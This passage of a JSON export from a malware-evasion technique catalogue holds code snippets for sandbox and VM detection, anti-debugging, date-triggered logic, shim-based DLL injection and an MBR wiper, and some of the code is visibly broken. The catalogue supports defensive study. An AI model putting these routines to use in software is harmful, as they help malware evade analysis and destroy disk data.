dwProcessId);\r\n    if (hProcess == NULL)\r\n        return FALSE;\r\n\r\n    BOOL result = TerminateProcess(hProcess, uExitCode);\r\n\r\n    CloseHandle(hProcess);\r\n\r\n    return result;\r\n}"
        },
        {
            "id": 40,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 11,
                "username": "Kyle Cucci",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/d4rksystem",
                "website": "https://securityliterate.com/",
                "github": "https://github.com/d4rksystem"
            },
            "technique": "https://unprotect.it/api/techniques/151/?format=api",
            "description": "This technique is using the API `GetForegroundWindow`.",
            "plain_code": "#include <winuser.h> // Required import for GetForegroundWindow API\r\n \r\nint main()\r\n{\r\n \r\n    //Get a handle to user's current foreground window.\r\n    int foregroundWindowHandle1 = GetForegroundWindow(); \r\n \r\n    do {\r\n \r\n        //Sleep for .1 second.\r\n        Sleep(100); \r\n \r\n        //Get a handle to user's current foreground window again.\r\n        int foregroundWindowHandle2 = GetForegroundWindow(); \r\n \r\n        }\r\n \r\n    //While the handles to the current foreground windows are equal, continue to loop.\r\n    while (foregroundWindowHandle1 == foregroundWindowHandle2);\r\n \r\n    return 0;\r\n};"
        },
        {
            "id": 38,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/134/?format=api",
            "description": "Warning: the code below is a simple MBR wiper. It is currently not operational for obvious reasons.",
            "plain_code": "#include <Windows.h>\r\n#include <iostream>\r\n#include <ctime>\r\n#include <stdio.h>\r\n\r\n#define MBR_SIZE 512\r\n\r\nusing namespace std;\r\n\r\nint WipeMBR(void) {\r\n    char dmbr[MBR_SIZE];\r\n\r\n    ZeroMemory(&dmbr, sizeof(dmbr));\r\n    HANDLE disk = CreateFile((LPCSTR)\"\\\\\\\\.\\\\PhysicalDrive0\", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);\r\n    WriteFile(disk, dmbr, MBR_SIZE, &write, NULL);\r\n    CloseHandle(disk);\r\n    return 0;\r\n}\r\n\r\nint main() {\r\n    cout << \"Start Wiping\" << endl;\r\n    WipeMBR();\r\n    return 0;\r\n}"
        },
        {
            "id": 35,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/21/?format=api",
            "description": "Original code available here: https://github.com/a0rtega/pafish/blob/master/pafish/cpu.c",
            "plain_code": "/* Check hypervisor presence bit */\r\nstatic inline int cpuid_hv_bit(){\r\n    int ecx;\r\n    __asm__ volatile(\"cpuid\" \\\r\n        : \"=c\"(ecx) \\\r\n        : \"a\"(0x01));\r\n    return (ecx>>31) & 0x1;\r\n}\r\n/* Get hypervisor name */\r\nstatic inline void cpuid_hv_vendor_00(char * vendor){\r\n    int ebx = 0, ecx = 0, edx = 0;\r\n    __asm__ volatile(\"cpuid\" \\\r\n        : \"=b\"(ebx), \\\r\n        : \"=c\"(ecx), \\\r\n        : \"=d\"(edx) \\\r\n        : \"a\"(0x40000000));\r\n    sprintf(vendor, \"%c%c%c%c\", ebx, (ebx>>8), (ebx>>16), (ebx>>24));\r\n    sprintf(vendor+4, \"%c%c%c%c\", ebx, (ebx>>8), (ebx>>16), (ebx>>24));\r\n    sprintf(vendor+8, \"%c%c%c%c\", ebx, (ebx>>8), (ebx>>16), (ebx>>24));\r\n    vendor[12] = 0x00;\r\n}\r\nvoid cpu_write_hv_vendor(char * vendor){\r\n    cpuid_hv_vendor_00(vendor);\r\n}\r\nint cpu_known_vm_vendors(){\r\n    const int count = 6;\r\n    int i;\r\n    char cpu_hv_vendor[13];\r\n    strings strs[count];\r\n    strs[0] = \"KVMKVMKVM\\0\\0\\0\"; /* KVM */\r\n    strs[1] = \"Microsoft Hv\"; /* Microsoft Hyper-V or Windows Virtual PC */\r\n    strs[2] = \"VMwareVMware\"; /* VMware */\r\n    strs[3] = \"XenVMMXenVMM\"; /* Xen */\r\n    strs[4] = \"prl hyperv\"; */ Parallels */\r\n    strs[5] = \"VBoxVBoxVBox\"; /* VirtualBox */\r\n    cpu_write_hv_vendor(cpu_hv_vendor);\r\n    for (i=0; i < count; i++){\r\n        if (!memcmp(cpu_hv_vendor,strs[i], 12)) return TRUE;\r\n    }\r\n    return FALSE;\r\n}"
        },
        {
            "id": 36,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/103/?format=api",
            "description": "This code snippet triggers actions after one day since the compile time.",
            "plain_code": "#include <ctime>\r\n#include <iostream>\r\n#include <string>\r\n#include <sstream>\r\n\r\nconst double time_attack_in_days = 1.0;\r\n\r\nusing namespace std;\r\n\r\ntime_t time_when_compiled()\r\n{\r\n    string datestr = __DATE__;\r\n    string timestr = __TIME__;\r\n    istringstream iss_date(datestr);\r\n    string str_month;\r\n    int day;\r\n    int year;\r\n    iss_date >> str_month >> day >> year;\r\n\r\n    int month;\r\n    if      (str_month == \"Jan\") month = 1;\r\n    else if (str_month == \"Feb\") month = 2;\r\n    else if (str_month == \"Mar\") month = 3;\r\n    else if (str_month == \"Apr\") month = 4;\r\n    else if (str_month == \"May\") month = 5;\r\n    else if (str_month == \"Jun\") month = 6;\r\n    else if (str_month == \"Jul\") month = 7;\r\n    else if (str_month == \"Aug\") month = 8;\r\n    else if (str_month == \"Sep\") month = 9;\r\n    else if (str_month == \"Oct\") month = 10;\r\n    else if (str_month == \"Nov\") month = 11;\r\n    else if (str_month == \"Dec\") month = 12;\r\n    else exit(-1);\r\n\r\n    for(string::size_type pos = timestr.find(':'); pos != string::npos; pos = timestr.find(':', pos))\r\n    {\r\n    \ttimestr[pos] = ' ';\r\n    }\r\n\r\n    istringstream iss_time(timestr);\r\n    int hour, min, sec;\r\n    iss_time >> hour >> min >> sec;\r\n    tm t = {0};\r\n    t.tm_mon = month - 1;\r\n    t.tm_mday = day;\r\n    t.tm_year = year - 1900;\r\n    t.tm_hour = hour;\r\n    t.tm_min = min;\r\n    t.tm_sec = sec;\r\n\r\n    return mktime(&t);\r\n}\r\n\r\nint main()\r\n{\r\n    time_t current_time = time(NULL);\r\n    time_t build_time = time_when_compiled();\r\n\r\n    double diff_time = difftime(current_time, build_time);\r\n    const double time_to_wait = time_attack_in_days * 24.0 * 60.0 * 60.0;\r\n\r\n    // trigger the time of execution\r\n    if(diff_time > time_to_wait)\r\n    {\r\n        cout << \"Time of attack!\" << endl;\r\n        exit(-1);\r\n    }\r\n    else\r\n    {\r\n        cout << \"Time in second before running the attack: \" << time_to_wait << endl;\r\n    }\r\n\r\n    return 0;\r\n}"
        },
        {
            "id": 37,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/103/?format=api",
            "description": "Trigger the action on Monday.",
            "plain_code": "#include <Windows.h>\r\n#include <iostream>\r\n#include <ctime>\r\n#include <stdio.h>\r\n\r\nusing namespace std;\r\n\r\n// Trigger the action only on Monday\r\nint WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {\r\n    time_t rawtime;\r\n    struct tm * timeinfo;\r\n    char buffer[100];\r\n\r\n    time(&rawtime);\r\n    timeinfo = localtime(&rawtime);\r\n\r\n    strftime(buffer, sizeof(buffer), \"%A\", timeinfo);\r\n\r\n    const char * str(buffer);\r\n\r\n    if (str == \"Monday\")\r\n    {\r\n        cout << \"Wait!\" << endl;\r\n        MessageBox(NULL, (LPSTR)str, (LPSTR)str, MB_OK);\r\n    }\r\n    else\r\n    {\r\n        cout << \"Time of attack!\" << endl;\r\n        MessageBox(NULL, (LPSTR)str, (LPSTR)str, MB_OK);\r\n    }\r\n    return 0;\r\n}"
        },
        {
            "id": 33,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 9,
                "username": "Glacius",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/Glacius___",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/63/?format=api",
            "description": "",
            "plain_code": "#include &lt;Winternl.h&gt;\r\n#include &lt;Windows.h&gt;\r\n#include &lt;tchar.h&gt;\r\n#include &lt;stdio.h&gt;\r\n\r\n/*\r\n*Using ZwQueryInformationProcess we get the PEB Address and \r\n*then we check the NtGlobalFlag to determine the process is being debugged or not.\r\n*/\r\n\r\nint main() {\r\n     \r\n    typedef unsigned long(__stdcall *pfnZwQueryInformationProcess)\r\n    (\r\n        IN  HANDLE,\r\n        IN  unsigned int, \r\n        OUT PVOID, \r\n        IN  ULONG, \r\n        OUT PULONG\r\n    );\r\n    pfnZwQueryInformationProcess ZwQueryInfoProcess = NULL;\r\n     \r\n    HMODULE hNtDll = LoadLibrary(_T(&quot;ntdll.dll&quot;));\r\n    if (hNtDll == NULL) { }\r\n \r\n    ZwQueryInfoProcess = (pfnZwQueryInformationProcess) GetProcAddress(hNtDll,\r\n        &quot;ZwQueryInformationProcess&quot;);\r\n    if (ZwQueryInfoProcess == NULL) { }\r\n    unsigned long status;\r\n \r\n    DWORD pid = GetCurrentProcessId();\r\n    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);\r\n    PROCESS_BASIC_INFORMATION pbi;\r\n    status = ZwQueryInfoProcess(hProcess,\r\n                                ProcessBasicInformation,\r\n                                &amp;pbi,\r\n                                sizeof(pbi),\r\n                                NULL);\r\n                                 \r\n    PPEB peb_addr = pbi.PebBaseAddress;\r\n    DWORD ptr = pbi.PebBaseAddress;\r\n    ptr|=104;\r\n    DWORD *temp = ptr;\r\n    MessageBox(0, *temp ? &quot;Debugger found&quot; : &quot;Debugger not found&quot;,&quot;Status&quot;,0x30);\r\n     \r\n    return 0;\r\n}"
        },
        {
            "id": 34,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 5,
                "username": "fr0gger",
                "email": "thomas.roccia@microsoft.com\n\n",
                "linkedin": "https://www.linkedin.com/in/thomas-roccia",
                "twitter": "https://twitter.com/fr0gger_",
                "website": "https://securitybreak.io",
                "github": "https://github.com/fr0gger"
            },
            "technique": "https://unprotect.it/api/techniques/69/?format=api",
            "description": "",
            "plain_code": "#include \"windows.h\"\r\n#include <stdio.h>\r\n\r\nvoid NTAPI __stdcall TLSCallbacks(PVOID DllHandle, DWORD dwReason, PVOID Reserved);\r\n\r\n#ifdef _M_IX86\r\n#pragma comment (linker, \"/INCLUDE:__tls_used\")\r\n#pragma comment (linker, \"/INCLUDE:__tls_callback\")\r\n#else\r\n#pragma comment (linker, \"/INCLUDE:_tls_used\")\r\n#pragma comment (linker, \"/INCLUDE:_tls_callback\")\r\n#endif\r\nEXTERN_C\r\n#ifdef _M_X64\r\n#pragma const_seg (\".CRT$XLB\")\r\nconst\r\n#else\r\n#pragma data_seg (\".CRT$XLB\")\r\n#endif\r\n\r\nPIMAGE_TLS_CALLBACK _tls_callback = TLSCallbacks;\r\n#pragma data_seg ()\r\n#pragma const_seg ()\r\n\r\nvoid NTAPI __stdcall TLSCallbacks(PVOID DllHandle, DWORD dwReason, PVOID Reserved)\r\n{\r\n\tMessageBox(nullptr, \"TLS Callback\", \"\", 0);\r\n\tExitProcess(0);\r\n}\r\n\r\nint main(int argc, char* argv[])\r\n{\r\n\tprintf(\"Main function!\");\r\n}"
        },
        {
            "id": 31,
            "language": {
                "id": 8,
                "label": "PowerShell",
                "code_class": "PowerShell"
            },
            "user": {
                "id": 9,
                "username": "Glacius",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/Glacius___",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/150/?format=api",
            "description": "If the return is \"MSAcpi_ThermalZoneTemperature not supported, it means you are in a virtualized environment.\r\nReference : https://gist.github.com/teixeira0xfffff/36293713c254c69a7ba2353e8d64afce#file-msacpi_thermalzonetemperature-ps1",
            "plain_code": "function Get-AntiVMwithTemperature {\r\n    $t = Get-WmiObject MSAcpi_ThermalZoneTemperature -Namespace \"root/wmi\"\r\n    $valorTempKelvin = $t.CurrentTemperature / 10\r\n    $valorTempCelsius = $valorTempKelvin - 273.15\r\n    $valorTempFahrenheit = (9/5) * $valorTempCelsius + 32\r\n    return $valorTempCelsius.ToString() + \" C : \" + $valorTempFahrenheit.ToString() + \" F : \" + $valorTempKelvin + \"K\"  \r\n}"
        },
        {
            "id": 32,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 9,
                "username": "Glacius",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/Glacius___",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/53/?format=api",
            "description": "",
            "plain_code": "#include \"windows.h\"\r\n \r\nint main(void)\r\n{\r\n    BOOL HasDebugPort = FALSE;\r\n \r\n    if (CheckRemoteDebuggerPresent(GetCurrentProcess(), &HasDebugPort))\r\n    {\r\n           ExitProcess(0); // Running in ring-3 debugger\r\n    }\r\n    // Running outside ring-3 debugger\r\n    return 0;"
        },
        {
            "id": 30,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/116/?format=api",
            "description": "",
            "plain_code": "/*\r\nSource: https://gist.github.com/w4kfu/95a87764db7029e03f09d78f7273c4f4\r\n-------- dllinjshim.cpp --------\r\n> cl /Fe:dllinjshim.exe dllinjshim.cpp\r\n> dllinjshim.exe\r\n> sdbinst moo.sdb\r\n/!\\ On Windows 10 there is a new function `SdbIsKnownShimDll` called \r\nin `SdbGetDllPath` which will check the DLL name against the following list:\r\n- \"AcGenral.dll\"\r\n- \"AcLayers.dll\"\r\n- \"AcRes.dll\"\r\n- \"AcSpecfc.dll\"\r\n- \"AcWinRT.dll\"\r\n- \"acwow64.dll\"\r\n- \"AcXtrnal.dll\"\r\n- \"KeyboardFilterShim.dll\"\r\n- \"MasterShim.dll\"\r\n- \"depdetct\"\r\n- \"uacdetct\"\r\n- \"luadgmgt.dll\"\r\n- \"luapriv.dll\"\r\n- \"EMET.dll\"\r\n- \"EMET64.dll\"\r\n- \"LogExts.dll\"\r\n- \"LogShim.dll\"\r\n------------------------------------\r\n*/\r\n\r\n#include <windows.h>\r\n#include <stdio.h>\r\n\r\n#define INJECTED_DLL_NAME   L\"moo.dll\"\r\n\r\n#define EXECUTABLE_NAME     L\"calc.exe\"\r\n#define OS_PLATFORM         4                   /* 0x1 : 32-bit ; 0x04 : 64-bit */\r\n\r\n\r\n#define TAGID_NULL          0\r\n\r\n#define TAG_TYPE_LIST       0x7000\r\n#define TAG_DATABASE        (0x1 | TAG_TYPE_LIST)\r\n#define TAG_LIBRARY         (0x2 | TAG_TYPE_LIST)\r\n#define TAG_INEXCLUDE       (0x3 | TAG_TYPE_LIST)\r\n#define TAG_SHIM            (0x4 | TAG_TYPE_LIST)\r\n#define TAG_EXE             (0x7 | TAG_TYPE_LIST)\r\n#define TAG_MATCHING_FILE   (0x8 | TAG_TYPE_LIST)\r\n#define TAG_SHIM_REF        (0x9 | TAG_TYPE_LIST)\r\n\r\n#define TAG_TYPE_DWORD      0x4000\r\n#define TAG_OS_PLATFORM     (0x23| TAG_TYPE_DWORD)\r\n\r\n#define TAG_TYPE_STRINGREF  0x6000\r\n#define TAG_NAME            (0x1 | TAG_TYPE_STRINGREF)\r\n#define TAG_MODULE          (0x3 | TAG_TYPE_STRINGREF)\r\n#define TAG_APP_NAME        (0x6 | TAG_TYPE_STRINGREF)\r\n#define TAG_DLLFILE         (0xA | TAG_TYPE_STRINGREF)\r\n\r\n#define TAG_TYPE_BINARY     0x9000\r\n#define TAG_EXE_ID          (0x4 | TAG_TYPE_BINARY)\r\n#define TAG_DATABASE_ID     (0x7 | TAG_TYPE_BINARY)\r\n\r\n#define TAG_TYPE_NULL       0x1000\r\n#define TAG_INCLUDE         (0x1 | TAG_TYPE_NULL)\r\n\r\ntypedef enum _PATH_TYPE {\r\n    DOS_PATH,\r\n    NT_PATH\r\n} PATH_TYPE;\r\n\r\ntypedef HANDLE PDB;\r\ntypedef DWORD TAG;\r\ntypedef DWORD INDEXID;\r\ntypedef DWORD TAGID;\r\n\r\ntypedef struct tagATTRINFO {\r\n    TAG  tAttrID;\r\n    DWORD dwFlags;\r\n    union {\r\n        ULONGLONG ullAttr;\r\n        DWORD   dwAttr;\r\n        TCHAR   *lpAttr;\r\n    };\r\n} ATTRINFO, *PATTRINFO;\r\n\r\ntypedef PDB (WINAPI *SdbCreateDatabasePtr)(LPCWSTR, PATH_TYPE);\r\ntypedef VOID (WINAPI *SdbCloseDatabaseWritePtr)(PDB);\r\ntypedef TAGID (WINAPI *SdbBeginWriteListTagPtr)(PDB, TAG);\r\ntypedef BOOL (WINAPI *SdbEndWriteListTagPtr)(PDB, TAGID);\r\ntypedef BOOL (WINAPI *SdbWriteStringTagPtr)(PDB, TAG, LPCWSTR);\r\ntypedef BOOL (WINAPI *SdbWriteDWORDTagPtr)(PDB, TAG, DWORD);\r\ntypedef BOOL (WINAPI *SdbWriteBinaryTagPtr)(PDB, TAG, PBYTE, DWORD);\r\ntypedef BOOL (WINAPI *SdbWriteNULLTagPtr)(PDB, TAG);\r\n\r\ntypedef struct _APPHELP_API {\r\n    SdbCreateDatabasePtr         SdbCreateDatabase;\r\n    SdbCloseDatabaseWritePtr     SdbCloseDatabaseWrite;\r\n    SdbBeginWriteListTagPtr      SdbBeginWriteListTag;\r\n    SdbEndWriteListTagPtr        SdbEndWriteListTag;\r\n    SdbWriteStringTagPtr         SdbWriteStringTag;\r\n    SdbWriteDWORDTagPtr          SdbWriteDWORDTag;\r\n    SdbWriteBinaryTagPtr         SdbWriteBinaryTag;\r\n    SdbWriteNULLTagPtr           SdbWriteNULLTag;\r\n} APPHELP_API, *PAPPHELP_API;\r\n\r\nBOOL static LoadAppHelpFunctions(HMODULE hAppHelp, PAPPHELP_API pAppHelp) {\r\n    if (!(pAppHelp->SdbBeginWriteListTag = (SdbBeginWriteListTagPtr)GetProcAddress(hAppHelp, \"SdbBeginWriteListTag\"))) {\r\n        fprintf(stderr, \"[-] GetProcAddress(..., \\\"SdbBeginWriteListTag\\\")\\n\");\r\n        return FALSE;\r\n    }\r\n    if (!(pAppHelp->SdbCloseDatabaseWrite = (SdbCloseDatabaseWritePtr)GetProcAddress(hAppHelp, \"SdbCloseDatabaseWrite\"))) {\r\n        fprintf(stderr, \"[-] GetProcAddress(..., \\\"SdbCloseDatabaseWrite\\\")\\n\");\r\n        return FALSE;\r\n    }\r\n    if (!(pAppHelp->SdbCreateDatabase = (SdbCreateDatabasePtr)GetProcAddress(hAppHelp, \"SdbCreateDatabase\"))) {\r\n        fprintf(stderr, \"[-] GetProcAddress(..., \\\"SdbCreateDatabase\\\")\\n\");\r\n        return FALSE;\r\n    }\r\n    if (!(pAppHelp->SdbEndWriteListTag = (SdbEndWriteListTagPtr)GetProcAddress(hAppHelp, \"SdbEndWriteListTag\"))) {\r\n        fprintf(stderr, \"[-] GetProcAddress(..., \\\"SdbEndWriteListTag\\\")\\n\");\r\n        return FALSE;\r\n    }\r\n    if (!(pAppHelp->SdbWriteBinaryTag = (SdbWriteBinaryTagPtr)GetProcAddress(hAppHelp, \"SdbWriteBinaryTag\"))) {\r\n        fprintf(stderr, \"[-] GetProcAddress(..., \\\"SdbWriteBinaryTag\\\")\\n\");\r\n        return FALSE;\r\n    }\r\n    if (!(pAppHelp->SdbWriteDWORDTag = (SdbWriteDWORDTagPtr)GetProcAddress(hAppHelp, \"SdbWriteDWORDTag\"))) {\r\n        fprintf(stderr, \"[-] GetProcAddress(..., \\\"SdbWriteDWORDTag\\\")\\n\");\r\n        return FALSE;\r\n    }\r\n    if (!(pAppHelp->SdbWriteStringTag = (SdbWriteStringTagPtr)GetProcAddress(hAppHelp, \"SdbWriteStringTag\"))) {\r\n        fprintf(stderr, \"[-] GetProcAddress(..., \\\"SdbWriteStringTag\\\")\\n\");\r\n        return FALSE;\r\n    }\r\n    if (!(pAppHelp->SdbWriteNULLTag = (SdbWriteNULLTagPtr)GetProcAddress(hAppHelp, \"SdbWriteNULLTag\"))) {\r\n        fprintf(stderr, \"[-] GetProcAddress(..., \\\"SdbWriteNULLTag\\\")\\n\");\r\n        return FALSE;\r\n    }\r\n    return TRUE;\r\n}\r\n\r\nBOOL static DoStuff(PAPPHELP_API pAppHelp)\r\n{\r\n    PDB db = NULL;\r\n    TAGID tIdDatabase;\r\n    TAGID tIdLibrary;\r\n    TAGID tIdShim;\r\n    TAGID tIdInexclude;\r\n    TAGID tIdExe;\r\n    TAGID tIdMatchingFile;\r\n    TAGID tIdShimRef;\r\n    \r\n    db = pAppHelp->SdbCreateDatabase(L\"moo.sdb\", DOS_PATH);\r\n    if (db == NULL) {\r\n        fprintf(stderr, \"[-] SdbCreateDatabase failed : %lu\\n\", GetLastError());\r\n        return FALSE;\r\n    }\r\n    tIdDatabase = pAppHelp->SdbBeginWriteListTag(db, TAG_DATABASE);\r\n    pAppHelp->SdbWriteDWORDTag(db, TAG_OS_PLATFORM, OS_PLATFORM);\r\n    pAppHelp->SdbWriteStringTag(db, TAG_NAME, L\"moo_Database\");\r\n    pAppHelp->SdbWriteBinaryTag(db, TAG_DATABASE_ID, \"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\", 0x10);\r\n    tIdLibrary = pAppHelp->SdbBeginWriteListTag(db, TAG_LIBRARY);\r\n    tIdShim = pAppHelp->SdbBeginWriteListTag(db, TAG_SHIM);\r\n    pAppHelp->SdbWriteStringTag(db, TAG_NAME, L\"moo_Shim\");\r\n    pAppHelp->SdbWriteStringTag(db, TAG_DLLFILE, INJECTED_DLL_NAME);\r\n    tIdInexclude = pAppHelp->SdbBeginWriteListTag(db, TAG_INEXCLUDE);\r\n    pAppHelp->SdbWriteNULLTag(db, TAG_INCLUDE);\r\n    pAppHelp->SdbWriteStringTag(db, TAG_MODULE, L\"*\");\r\n    pAppHelp->SdbEndWriteListTag(db, tIdInexclude);\r\n    pAppHelp->SdbEndWriteListTag(db, tIdShim);\r\n    pAppHelp->SdbEndWriteListTag(db, tIdLibrary);\r\n    tIdExe = pAppHelp->SdbBeginWriteListTag(db, TAG_EXE);\r\n    pAppHelp->SdbWriteStringTag(db, TAG_NAME, EXECUTABLE_NAME);\r\n    pAppHelp->SdbWriteStringTag(db, TAG_APP_NAME, L\"moo_Apps\");\r\n    pAppHelp->SdbWriteBinaryTag(db, TAG_EXE_ID, \"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\", 0x10);\r\n    tIdMatchingFile = pAppHelp->SdbBeginWriteListTag(db, TAG_MATCHING_FILE);\r\n    pAppHelp->SdbWriteStringTag(db, TAG_NAME, L\"*\");\r\n    pAppHelp->SdbEndWriteListTag(db, tIdMatchingFile);\r\n    tIdShimRef = pAppHelp->SdbBeginWriteListTag(db, TAG_SHIM_REF);\r\n    pAppHelp->SdbWriteStringTag(db, TAG_NAME, L\"moo_Shim\");\r\n    pAppHelp->SdbEndWriteListTag(db, tIdShimRef);\r\n    pAppHelp->SdbEndWriteListTag(db, tIdExe);\r\n    pAppHelp->SdbEndWriteListTag(db, tIdDatabase);\r\n    pAppHelp->SdbCloseDatabaseWrite(db);\r\n    return TRUE;\r\n}\r\n\r\nint main(int argc, char *argv[]) {\r\n    APPHELP_API api = {0};\r\n    HMODULE hAppHelp = NULL;\r\n    \r\n    hAppHelp = LoadLibraryA(\"apphelp.dll\");\r\n    if (hAppHelp == NULL) {\r\n        fprintf(stderr, \"[-] LoadLibrary failed %lu\\n\", GetLastError());\r\n        return 1;\r\n    }\r\n    if (LoadAppHelpFunctions(hAppHelp, &api) == FALSE) {\r\n        printf(\"[-] Failed to load apphelp api %lu!\\n\", GetLastError());\r\n        return 1;\r\n    }\r\n    DoStuff(&api);\r\n    return 0;\r\n}\r\nmoo.cpp\r\n/*\r\n-------- moo.cpp --------\r\n> cl /LD /Fe:moo.dll moo.cpp\r\n> copy moo.dll \"C:\\Windows\\AppPatch\\AppPatch64\\moo.dll\"\r\n-------------------------\r\n*/\r\n\r\n#define EXPORT_FUNC extern \"C\" __declspec(dllexport)\r\n\r\nEXPORT_FUNC int GetHookAPIs(PVOID a, PVOID b, PVOID c)\r\n{\r\n    return 0x01; \r\n}\r\n\r\nEXPORT_FUNC int NotifyShims(PVOID a, PVOID b)\r\n{\r\n    return 0x01; \r\n}\r\n\r\nBOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)\r\n{\r\n    UNREFERENCED_PARAMETER(hinstDLL);\r\n    UNREFERENCED_PARAMETER(lpReserved);\r\n\r\n    if (fdwReason == DLL_PROCESS_ATTACH) {\r\n        return TRUE;\r\n    }\r\n    return TRUE;\r\n}"
        },
        {
            "id": 27,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 5,
                "username": "fr0gger",
                "email": "thomas.roccia@microsoft.com\n\n",
                "linkedin": "https://www.linkedin.com/in/thomas-roccia",
                "twitter": "https://twitter.com/fr0gger_",
                "website": "https://securitybreak.io",
                "github": "https://github.com/fr0gger"
            },
            "technique": "https://unprotect.it/api/techniques/149/?format=api",
            "description": "",
            "plain_code": "#include <iostream>\r\n#include <cstring>\r\n#include <windows.h>\r\n\r\nusing namespace std;\r\n\r\nint main(int argc, char** argv)\r\n{\r\n    TCHAR szExeFileName[MAX_PATH];\r\n    GetModuleFileName(NULL, szExeFileName, MAX_PATH);\r\n\r\n    // full path\r\n    cout << \"[+] Full Path: \" << szExeFileName << endl;\r\n\r\n    //convert tchar to string\r\n    std:string filename (szExeFileName);\r\n\r\n    // Remove directory if present.\r\n    const size_t last_slash_idx = filename.find_last_of(\"\\\\/\");\r\n    if (std::string::npos != last_slash_idx)\r\n    {\r\n        filename.erase(0, last_slash_idx + 1);\r\n    }\r\n\r\n    // Blacklist\r\n    LPSTR fname[] = {\"sample.exe\",\r\n                     \"malware.exe\",\r\n                     // ADD YOUR PROCESS NAME HERE!\r\n                    };\r\n    for (int i = 0; i < (sizeof(fname) / sizeof(LPSTR)); i++)\r\n    {\r\n        if ((fname[i] == filename ))\r\n        {\r\n            cout << \" [!] Filename is blacklisted: \" << (fname[i]) << endl;\r\n            exit(0);\r\n        }\r\n    }\r\n    return 0;\r\n}"
        },
        {
            "id": 28,
            "language": {
                "id": 1,
                "label": "Delphi",
                "code_class": "Delphi"
            },
            "user": {
                "id": 4,
                "username": "DarkCoderSc",
                "email": "jplesueur@proton.me",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/55/?format=api",
            "description": "You can compile this code snippet as a classical Delphi Console Application.",
            "plain_code": "program ADB_NtSetInformationThread;\r\n\r\n{$APPTYPE CONSOLE}\r\n\r\nuses\r\n  WinAPI.Windows, System.SysUtils;\r\n\r\ntype\r\n  // ntddk.h\r\n  TThreadInfoClass = (\r\n                        ThreadBasicInformation,\r\n                        ThreadTimes,\r\n                        ThreadPriority,\r\n                        ThreadBasePriority,\r\n                        ThreadAffinityMask,\r\n                        ThreadImpersonationToken,\r\n                        ThreadDescriptorTableEntry,\r\n                        ThreadEnableAlignmentFaultFixup,\r\n                        ThreadEventPair_Reusable,\r\n                        ThreadQuerySetWin32StartAddress,\r\n                        ThreadZeroTlsCell,\r\n                        ThreadPerformanceCount,\r\n                        ThreadAmILastThread,\r\n                        ThreadIdealProcessor,\r\n                        ThreadPriorityBoost,\r\n                        ThreadSetTlsArrayAddress,\r\n                        ThreadIsIoPending,\r\n                        ThreadHideFromDebugger, {<--}\r\n                        ThreadBreakOnTermination,\r\n                        ThreadSwitchLegacyState,\r\n                        ThreadIsTerminated,\r\n                        ThreadLastSystemCall,\r\n                        ThreadIoPriority,\r\n                        ThreadCycleTime,\r\n                        ThreadPagePriority,\r\n                        ThreadActualBasePriority,\r\n                        ThreadTebInformation,\r\n                        ThreadCSwitchMon,\r\n                        ThreadCSwitchPmu,\r\n                        ThreadWow64Context,\r\n                        ThreadGroupInformation,\r\n                        ThreadUmsInformation,\r\n                        ThreadCounterProfiling,\r\n                        ThreadIdealProcessorEx,\r\n                        ThreadCpuAccountingInformation,\r\n                        ThreadSuspendCount,\r\n                        ThreadActualGroupAffinity,\r\n                        ThreadDynamicCodePolicyInfo,\r\n                        MaxThreadInfoClass\r\n  );\r\n\r\n  var 